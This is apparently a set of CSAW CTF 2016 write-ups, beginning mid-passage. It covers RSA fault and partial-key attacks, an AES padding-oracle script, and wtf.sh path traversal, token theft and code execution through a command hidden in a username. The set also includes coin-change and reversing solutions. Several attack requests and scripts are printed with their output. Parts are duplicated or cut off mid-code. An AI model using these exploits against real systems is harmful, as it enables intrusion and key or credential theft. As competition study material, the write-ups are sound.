for sig in faulty: ggcd = gcd(ver(sig) - msg, N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break for fsig in faulty: if fsig != sig: # try to detect constant errors ggcd = gcd(N + ver(sig) - ver(fsig), N) ggcd = ggcd * gcd(ver(sig - fsig), N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break if ggcd == 1: print '[-] No factors found...' ```
Turns out, there are no such faults present. Hmm... so what is a possible source of error? The modulus N or the exponent d. The modulus N is a bit cumbersome to handle, so lets try with the secret exponent!
First, we sample a lot of signatures from the service. Then, we split the set into a correct signature and several faulty ones.
```python
valid, faulty = [], []msg = 2f = open('sigs2.txt', 'r')
for line in f: sig = int(line) if ver(sig) == 2: valid.append(sig) else: faulty.append(sig)```
Assume that we have a proper signature s and a faulty signature f, then we may compute s × f⁻¹ = mᵈ × (mᵈ⁻ʲ)⁻¹ = mʲ. If it is a single-bit error, then j = ±2ⁱ. First we build a look-up table with all
```python look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)}```
This is merely a way to quickly determine i from ±2ⁱ mod N. Then, for each faulty signature, we compute s × q⁻¹ and s⁻¹ × f and see if there is a match in the table. Since a bit flip is a simple xor, we need to take into account both the change 1 → 0 and 0 → 1. So, if s⁻¹ × f is in the table, then it means the contribution from the bit flip is positive. Therefore, d must be 0 in this position. Equivalently, if s × f⁻¹ is in the table, d must be 1 in that position. It remains to look at sufficiently many random signatures to fill the gaps in information of d.
A high-level description of the algorithm is as follows:
```psuedoalgorithm brokenbox(m): output: secret exponent d
precomputation: compute Q[mⁱ] = i for i ∈ {0,1...,1024}
online computation: 1. query oracle for signature of m 2. check if sᵉ = m (mod N) 3. if true, save it as reference value s. else, save in list L 4. repeat 1-3 until sufficiently many signatures have been obtained 5. for f ∈ L: compute s × f⁻¹ (mod N) and s⁻¹ × f (mod N) if s × f⁻¹ ∈ Q, set bit Q[s × f⁻¹] in d to 0 if s⁻¹ × f ∈ Q, set bit Q[s⁻¹ × f] in d to 1```
We achieve the recovery as follows:
```pythondef test_exponent_faults(): print '[+] Generating lookup...' number = ['?'] * 1024 look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)} valid_inv = libnum.modular.invmod(valid[0], N) print '[+] Looking for matches and recovering secret exponent...' for sig in faulty: st = (sig * valid_inv) % N if st in look_up: number[look_up[st]] = '0' st = (libnum.modular.invmod(sig, N) * valid[0]) % N if st in look_up: number[look_up[st]] = '1' unknown = number.count('?') if unknown == 0: d = int(''.join(number[::-1]), 2) print 'Secret exponent is: {0}'.format(d) print 'Check:', valid[0] == pow(msg, d, N) return d else: print '[+] Recovered bits' print ''.join(number) print 'Remaining unknown: {0} / {1}'.format(unknown, len(number))```
For instance, after a few hundred faulty signatures, we have filled in the bit pattern:
```c???1???1??????0????0???0?0?11?1??1???1?1??1???????0010??1??10???????1001?1???????1?1?00?????????1?????0??0??1??0??0??100?0?0?01??10?01????????10??0???1??????1??0???0???0???0?0?0000?110?????1????0001?011?0??0??1?????????????1??????1??10???????0?1?10??????????0???0??0??0?????????1???1?1?1??????10?0110?????????0???1???1????0?0?0???????1??????????1????????11?????1??1??0?????00????????1??0?1???10???????11??01000??0???1????1?0???00?1??1?10??0????0???1???1?1??0????????1????1?1??0????1????1????0??01??11??0????0???????0?10????0????0???0????????1?????????11??0???0?????1????0????01????1???????100???????111?00?0??00????1?10??????????1?0????1???????0??1?0?11???11?????????????1??0???01????????1???0?1??????0001??????1???010???????100?1??????10?????0?01??1???0??????????1??1??0???0??????00??1??11??01?0?01?0?1????00????0???0?0?1????0?0??1?0??1????10???????1???00????10??0????0?1??????1?1?0?1?????1?1?01???10??1??????0????10???1?????0?10??????????1???110???1?01??0?????1????11??0?????11??0????1??1?0???11?0??0????1?????0??1?????10?```
Running a few more, we get
```[+] Found 1520 valid and 1510 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...Secret exponent is: 1318114196677043534196699342738014984976469352105320281204477993086640079603572783402617238085 7263754840755090840323934490399778829656443966765971611093482241285542158667380890419360648113767904413268811547213257515039998690149350105787817443487153162937855786664238603417924072736209641094219963164897214757Check: Trueflag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}```
# Still broken box (400 p)
```I fixed the RSA signature box I made, even though it still returns wrong answers sometimes, it get much better now.
e = 97
nc crypto.chal.csaw.io 8003```
Re-using the same code we wrote before, we get
```[+] Found 596 valid and 600 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...[+] Recovered bits????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????000001100001101000010001101110010111100000001011001011000101010111100100111011111011101010111010110010111111001001100111001010000111110100010011001100001001110000001011101100000100111110100011000000101100011110110010110100010111000110011101000111010011011100111001101110001110110011111010111011101101
Remaining unknown: 724 / 1024```
Pretty much the same as above, but the error does only occur in the lower region of d. Also, about 1/4 of the bits. This is a case for a partial key exposure attack :-) We omitt the gritty details here, but it is pretty easy to understand when you realize that some mathematical relations hold when known only a subset of the bits of d. A short explanation:
Define s = p + q. We know that e × d (mod φ(N)) = 1. So, for some k ≤ e, we have
e × d - k × φ(N) = e × d - k × (N - s + 1) = 1.
Now, we can try all 0 ≤ k ≤ e and then solve the equation for s. Then, we can easily compute φ(N) = N - s + 1. It also holds for the partially know d, which we denote d' = d (mod 2³⁰⁰). Hence, it also holds that
e × d' - k × (N - s + 1) = 1 (mod 2³⁰⁰).
The, we solve a quadratic equation (this is the equation you would solve to factor N given φ(N)) for p
p² - s × p + N = 0 (mod 2³⁰⁰).
Note that we have to repeat this procedure for every choice of k.
Finally, we use a Theorem due to Coppersmith which states that we can factor N in time O(poly(log(N))). For more info, see my other writeups e.g. [this one](https://grocid.net/2016/03/14/0ctf-equation/). We can implement the above in Sage as follows:
```pythond = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133known_bits = 300X = var('X')d0 = d % (2 ** known_bits)P.<x> = PolynomialRing(Zmod(N))
print '[ ] Thinking...'for k in xrange(1, e+1): results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 300)
for m in results: f = x * 2 ** known_bits + ZZ(m[0]) f = f.monic() roots = f.small_roots(X = 2 ** (N.nbits() / 2 - known_bits), beta=0.3)
if roots: x0 = roots[0] p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N) print '[+] Found factorization!' print 'p =', ZZ(p) print 'q =', N / ZZ(p) break```
If we run it, we get
```[ ] Thinking...[+] Found factorization!p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 q = 10734991637891904881084049063230500677461594645206400955916129307892684665074341324245311828467206439443570911177697615473846955787537749526647352553710047```
We can compute d = e⁻¹ mod φ(N). Using the found d to decrypt, we determine the flag
```flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}```
# Neo (200 p)
```Your life has been boring, seemingly meaningless up until now. A man in a black suit with fresh shades is standing in front of you telling you thatyou are The One. Do you chose to go down this hole? Or just sit around pwning n00bs for the rest of your life?
http://crypto.chal.csaw.io:8001/```
We get to a page with an input, already containing some BASE64-encoded data. Substituting it with some gibberish (as can be seen below), yields and interesting error...

So, it is AES! Alright then... there is an encrypted id or token. It seems random, but that may just be the IV. Also, the image about suggests that the Matrix is vulnerable to a padding-oracle attack. In brief words, this is an attack which exploits the property of AES-CBC that Pᵢ = Dec(Cᵢ, k) ⊕ Cᵢ₋₁. Since the function Dec is bijective, we have that for an altered ciphertext C'ᵢ₋₁ there exists a valid plaintext P'ᵢ₋₁ = Dec(Cᵢ₋₁, k) (although it is probably just gibberish, it will not cause an error!). So, by flipping bits Cᵢ₋₁, we can cause Pᵢ to have a non-proper padding which will cause an error that we may be notified about (this is the case here!). By setting modifying Cᵢ₋₁ so that
C'ᵢ₋₁ = Cᵢ₋₁ ⊕ 0x0...1 ⊕ 0x0...0[guessed byte]
we can determine the value in the corresponding position of Pᵢ.
First, we define an oracle as follows:
```pythondef oracle(payload): global responses r = requests.post('http://crypto.chal.csaw.io:8001', data = {'matrix-id' : base64.b64encode(binascii.unhexlify(payload))}) if 'Caught exception during AES decryption...' in r.text: responses[payload] = False else: responses[payload] = True```
So, if there is padding error, it will return `False` and otherwise `True`. In the [id0-rsa](http://id0-rsa.pub) challenge, I wrote a multi-threaded padding-oracle code in Python (which finishes the attack in no time at all :-D). We will re-use this code here!
If we set the parameters
```pythonimport requests, base64, binasciiimport thread, time, string, urllib2, copy
threads = 20alphabet = ''.join([chr(i) for i in range(16)]) + string.printablealphabet_blocks = [alphabet[i : i + threads] for i in range(0, len(alphabet), threads)]data = 'vwqB+7cWkxMC6fY55NZW6y/LcdkUJqakXtMZIpS1YqbkfRYYOh0DKTr9Mp2QwNLZkBjyuLbNLghhSVNkHcng+Vpmp5WT5OAnhUlEr+LyBAU='ciphertext = binascii.hexlify(base64.b64decode(data))[:] # adjust to get other blocksoffset = len(ciphertext)/2-16```
and then, the very heart of the padding-oracle code:
```pythondef flip_cipher(ciphertext, known, i): modified_ciphertext = copy.copy(ciphertext) for j in range(1, i): modified_ciphertext[offset-j] = ciphertext[offset-j] ^ ord(known[-j]) ^ i return modified_ciphertext ciphertext = [int(ciphertext[i:i+2], 16) for i in range(0, len(ciphertext), 2)]count, known = 1, ''
while True: print 'Found so far:', [known] for block in alphabet_blocks: responses, payloads = {}, {} modified_ciphertext = flip_cipher(ciphertext, known, count) for char in block: modified_ciphertext[offset-count] = ciphertext[offset-count] ^ ord(char) ^ count payloads[''.join([hex(symbol)[2:].zfill(2) for symbol in modified_ciphertext])] = char for payload in payloads.keys(): thread.start_new_thread(oracle, (payload,)) while len(responses.keys()) != len(payloads): time.sleep(0.1) if True in responses.values(): known = payloads[responses.keys()[responses.values().index(True)]] + known alphabet_blocks.remove(block) alphabet_blocks.insert(0, block) count = count + 1 break```
and execute it for different from-right truncated ciphertexts, we obtain
```Found so far: ['flag{what_if_i_t']Found so far: ['old_you_you_solv']Found so far: ['ed_the_challenge']Found so far: ['}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f']```
So, by removing the padding, we get the flag
```flag{what_if_i_told_you_you_solved_the_challenge}```Great!# wtf.sh (150 p)
```WTF.SH(1) Quals WTF.SH(1)
NAME wtf.sh - A webserver written in bash
SYNOPSIS wtf.sh port
DESCRIPTION wtf.sh is a webserver written in bash. Do I need to say more?
FLAG You can get the flag to this first part of the problem by getting the website to run the get_flag1 command. I heard the admin likes to launch it when he visits his own profile.
ACCESS You can find wtf.sh at http://web.chal.csaw.io:8001/
AUTHOR Written by _Hyper_ http://github.com/Hyper- sonic/
SUPERHERO ORIGIN STORY I have deep-rooted problems That involve childhood trauma of too many shells It was ksh, zsh, bash, dash They just never stopped On that day I swore I would have vengeance I became The Bashman
REPORTING BUGS Report your favorite bugs in wtf.sh at http://ctf.csaw.io
SEE ALSO wtf.sh(2)
CSAW 2016 September 2016 WTF.SH(1)```
Seemingly, we can enumerate users on the service.
```GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*Host: web.chal.csaw.io:8001...<div class="post"><span>Posted by admin</span><span>facb59989c28a17cf481e2f5664d4aaeff1651b8</span><span>2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==</span></div>...```So, we have extracted the password hash and the token. We can set the token and get the flag as follows:
```Cookie: USERNAME=admin; TOKEN=2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==GET /profile.wtf?user=7tLx9 HTTP/1.1Host: web.chal.csaw.io:8001...flag{l00k_at_m3_I_am_th3_4dm1n_n0w}
```
# Coinslot (25 p)
```#Hope #Change #Obama2008
nc misc.chal.csaw.io 8000```
The only hard thing about this challenge is to make it handle floats properly, but Numpy and transforming to integer 1/100 parts solves it :-)
```pythonfrom pwn import *import numpy
s = remote('misc.chal.csaw.io', 8000)bills = [10000,5000,1000,500,100,50,20,10,5,1,0.5,0.25,0.1,0.05,0.01]while True: amount = float(s.recvuntil('\n')[1:]) amount = int(numpy.round(amount * 100)) send = [0] * len(bills) for i in range(len(bills)): while bills[i] * 100 <= amount: amount -= bills[i] * 100 send[i] += 1 for i in send: s.recvuntil(':') s.send(str(i) + '\n') print s.recvuntil('\n')```
After a lot of time, we get
```flag{started-from-the-bottom-now-my-whole-team-fucking-here}``` |
# CSAW CTF 2016 coinslot Writeup
coinslot was a challenge for 25pts and the description of the challenge was
```nc misc.chal.csaw.io 8000```
Connecting to the server revealed the coinslot game. The coinslot game goes as follows: You are given a certain amount of dollars. Then you have to represent this amount with the least possible number of coins and dollar bills. Basically, the game asks you how much of each coin or bill you would like to provide. Here is an example:
```$ nc misc.chal.csaw.io 8000$0.08$10,000 bills: 0$5,000 bills: 0$1,000 bills: 0$500 bills: 0$100 bills: 0$50 bills: 0$20 bills: 0$10 bills: 0$5 bills: 0$1 bills: 0half-dollars (50c): 0 quarters (25c): 0dimes (10c): 0nickels (5c): 1pennies (1c): 3correct!$0.09$10,000 bills: [and so on...]```
Therefore, we just have to write a script that solves this game until, finally, the flag is dropped. I have attached the script I created as "coinslot.py".
The program is very simple. Basically, it consists of a (float sensitive) modulo function which is used to solve the indiviual rounds. When the script is running, the amount thar is present will slowly increase. After a certain number of games (maybe around 1000) the flag was presented. |
# CSAW CTF 2016 mfw Writeup
mfw was a web challenge that included one flag for 125 points.
When launching the mfw web site at web.chal.csaw.io:8000 was introduced by the phrases
```Welcome to my website!I wrote it myself from scratch!```
and this is how it basically looked like: A navigation pane with three links to `Home`, `About` and `Contact`. While Home and Contact did not show something interesting, the About page revealed some nice information as he wrote:
```I wrote this website all by myself in under a week!I used Git, PHP and Bootstrap ```
Next to this it was easy to see that the developer created a common templating system based on the GET parameter `page` as all URL looked like the following:
```http://web.chal.csaw.io:8000/?page={home,about,contact}```
Further investigation of the source code revealed that formerly there seemed to be a fourth link within the navigation pane:
``` Home About Contact ```
For sure, the most obvious and therefore first try was to use a local file inclusion to get the output of /etc/passwd or the flag.php file but the following answer was returned:
```http://web.chal.csaw.io:8000/?page=../../../../../etc/passwd
Detected hacking attempt!```
Some more tests with different payloads and encodings lead to the fact that the code somehow detects two points, so a simple directory traversal was not possible. After some tries I found out the the flag.php file was lying within a folder called `templates`, but the inclusion of the file did not show any further information so my guess was that the flag is saved within a PHP variable of the file.
Following the hint from the `About` page I tried to see whether the developer forgot to exclude the `.git` directory from the web server and voila: a directory listing showing the default content of a .git folder was found:
```branches description hooks info objects refsconfig HEAD index logs packed-refs```
Now I cloned the git repository and used `git diff` which revealed the source code of the index.php file as follows:
```
``` |
# CSAW CTF 2016 The Rock (100) Writeup
> Never forget the people's champ.
This challenge was about reversing a amd64 linux binary. I you look at the mainfunction with radare2, you'll notice that it seems to be a program written in c++(due to the usage of `std::cin`, `std::cout` and `std::string`).
If you manually translate the disassembly into a c++ source code, it should roughlylook like:
```c++int main(int argc, char** argv) { std::string input; struct S1 target;
std::cin >> input;
std::cout << "-------------------------------------------" << std::endl; std::cout << "Quote from people's champ" << std::endl; std::cout << "-------------------------------------------" << std::endl; std::cout << "*My goal was never to be the loudest or the craziest. It was to be the most entertaining." << std::endl; std::cout << "*Wrestling was like stand-up comedy for me." << std::endl; std::cout << "*I like to use the hard times in the past to motivate me today." << std::endl; std::cout << "-------------------------------------------" << std::endl;
fcn_004015dc(&target, &input); std::cout << "Checking...." << std::endl; { std::string foo(input); std::string bar, baz, bla; fcn_0040114c(&bar, &foo;; fcn_004010bf(&baz, &bar); fcn_00400ffd(&bla, &baz;; } fcn_004016ba(&target); if(!fcn_004017e6(&target)) { std::cout << "/////////////////////////////////" << std::endl; std::cout << "Do not be angry. Happy Hacking :)" << std::endl; std::cout << "/////////////////////////////////" << std::endl;
std::string output; fcn_004018d6(&output, &target); std::cout << "Flag{" << output << "}" << std::endl; } fcn_00401920(&target);
return 0;}```
The given input seems to be processed in the functions `fcn_004015dc`, `fcn_004016ba`, `fcn_004017e6` and `fcn_004018d6`.The functions `fcn_0040114c`, `fcn_004010bf` and `fcn_00400ffd` operate only on a copy of the input and the result isn't usedafterwards, therefore it might only be for obfuscation.
The first function (`fcn_004015dc`) shows that the first parameter is actually a class (and the function possibly a constructor).The function sets one field to zero, stores two copies of our input and a third one with the string `FLAG23456912365453475897834567`prepended.
```c++struct S1 { void *vtable; int32_t x; std::string* input; std::string& input2; std::string& foo;};fcn_004015dc(struct S1* a, std::string& b) { fcn_004015c6(a);
a->vtable = 0x401bf0; a->x = 0; a->input = std::string(b); a->input2 = std::string(b); a->foo = "FLAG23456912365453475897834567" + std::string(b);}```
The second function called checks if the input string is exactly 30 characters long. If this is true, it xors each character with`0x50` and adds `20` to them. After that, it xors them with `16` and adds `9`.
```c++fcn_004016ba(struct S1* a) { if(a->input.length() != 30) { std::cout << "Too short or too long" << std::endl; exit(-1); }
for(int i = 0; i < ; i++) { a->input[i] = (a->input[i] ^ 0x50) + 20; }
for(int j = 0; j < ; j++) { a->input[i] = (a->input[i] ^ 0x10) + 9; }}```
The third function has to return zero to continue to the output of the flag. As you can see, it compares the characters of the `foo`field of the class (the string `FLAG...`). Only if all characters are equal, we can proceed to the flag output.```c++fcn_004017e6(struct S1* a) { for(int i = 0; i < a->input.length(); i++) { if(a->input[i] != a->foo[i]) { std::cout << "You did not pass " << i << std::endl; a->x = 1; break; } std::cout << "Pass " << i << std::endl; } return a->x;}```
The function inside the if body simply copies the `input2` field to a new value (this field contains a unmodified copy of our input).```c++fcn_004018d6(std::string& a, struct S1* b) { a = b->input2;}```
This means that our input is actually the flag if it passes the `fcn_004017e6` check. We know that the input is transformed in thefunction `fcn_004016ba` and afterwards compared to the string `FLAG23456912365453475897834567`. So all we have to do is to reverse the transformation. I've done this with python(3):```python>>> bytes([(((a - 9) ^ 16) - 20) ^ 0x50 for a in b"FLAG23456912365453475897834567"])b'IoDJuvwxy\\tuvyxwxvwzx{\\z{vwxyz'```Our flag is `Flag{IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz}` |
# CSAW CTF 2016 wtf.sh Writeup
wtf.sh was a challenge that included two flags, one for 150pts and one for 400pts.
## wtf.sh (1) (150pts)
In the first part we needed to call the function `get_flag1` in order to receive the flag. The `post` parameter of `post.wtf` was vulnerable to a path traversal:
```GET /profile.wtf?user=../posts HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
Sending this request returned the content of all files in the sandbox directory (the code is available [here](https://kleber.io/odPM2AoqaZXmIFKZSqfbvFw46jRujfi0OvYQ2qVXpGZ1W)). There was also another path traversal in the `user` parameter of `profile.wtf` which allowed directory listings:
```GET /profile.wtf?user=../../* HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
With these two vulnerabilities we were able to read all the site's code and explore the directory structure. The user data resides in the `users` directory, where a user file included a user's name, password hash and login token. Using the first directory traversal we were able to get the login token for the admin user:
```GET /post.wtf?post=../users/ HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<span>Posted by admin</span><span>3f0b1ebe20e3682b1a5d701590ad76fb051d3a08</span><span>ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==</span>[...]```
In the code we saw that the `get_flag1` command will be called whenever the admin user accesses his profile on `profile.wtf`:
```bash$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"$ then$ local username=$(head -n 1 users/${URL_PARAMS['user']});$ echo "<h3>${username}'s posts:</h3>";$ echo "";$ get_users_posts "${username}" | while read -r post; do$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");$ echo "$(nth_line 2 "${post}" | htmlentities)";$ done$ echo "";$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]$ then$ get_flag1$ fi$ fi```
We also see in the code (`user_functions.sh`) that whenever a user registers a directory in users_lookup will be created with the SHA1 of the username as directoroy name. In order to get the proper user ID for the admin user to access the admin profile we can just read the userid file:
```GET /profile.wtf?user=../users_lookup/4015bc9ee91e437d90df83fb64fbbe312d9c9f05/userid HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<h3>QNI5P's posts:</h3>[...]```
Now we can get the flag:
```GET /profile.wtf?user=QNI5P HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=admin; TOKEN=ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==
HTTP/1.1 200 OK[...]Flag: flag{l00k_at_m3_I_am_th3_4dm1n_n0w}[...]```
## wtf.sh (2) (400pts)
The second part of the challenge was a little bit more complicated. We had to call `get_flag2`, but the code we dumped did not include any reference. So we had to dig deeper into the code to get remote code exection.
We saw in the code that `wtf.sh` includes a function that parses and executes .wtf files:
```bashmax_page_include_depth=64page_include_depth=0function include_page { # include_page <pathname> local pathname=$1 local cmd="" [[ "${pathname:(-4)}" = '.wtf' ]]; local can_execute=$?; page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]] then local line; while read -r line; do # check if we're in a script line or not ($ at the beginning implies script line) # also, our extension needs to be .wtf [[ "$" = "${line:0:1}" && ${can_execute} = 0 ]]; is_script=$?;
# execute the line. if [[ $is_script = 0 ]] then cmd+=$'\n'"${line#"$"}"; else if [[ -n $cmd ]] then eval "$cmd" || log "Error during execution of ${cmd}"; cmd="" fi echo $line fi done < ${pathname} else echo "Max include depth exceeded!" fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd```
Max include depth exceeded!
" fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd``` |
# CSAW CTF 2016 wtf.sh Writeup
wtf.sh was a challenge that included two flags, one for 150pts and one for 400pts.
## wtf.sh (1) (150pts)
In the first part we needed to call the function `get_flag1` in order to receive the flag. The `post` parameter of `post.wtf` was vulnerable to a path traversal:
```GET /profile.wtf?user=../posts HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
Sending this request returned the content of all files in the sandbox directory (the code is available [here](https://kleber.io/odPM2AoqaZXmIFKZSqfbvFw46jRujfi0OvYQ2qVXpGZ1W)). There was also another path traversal in the `user` parameter of `profile.wtf` which allowed directory listings:
```GET /profile.wtf?user=../../* HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==```
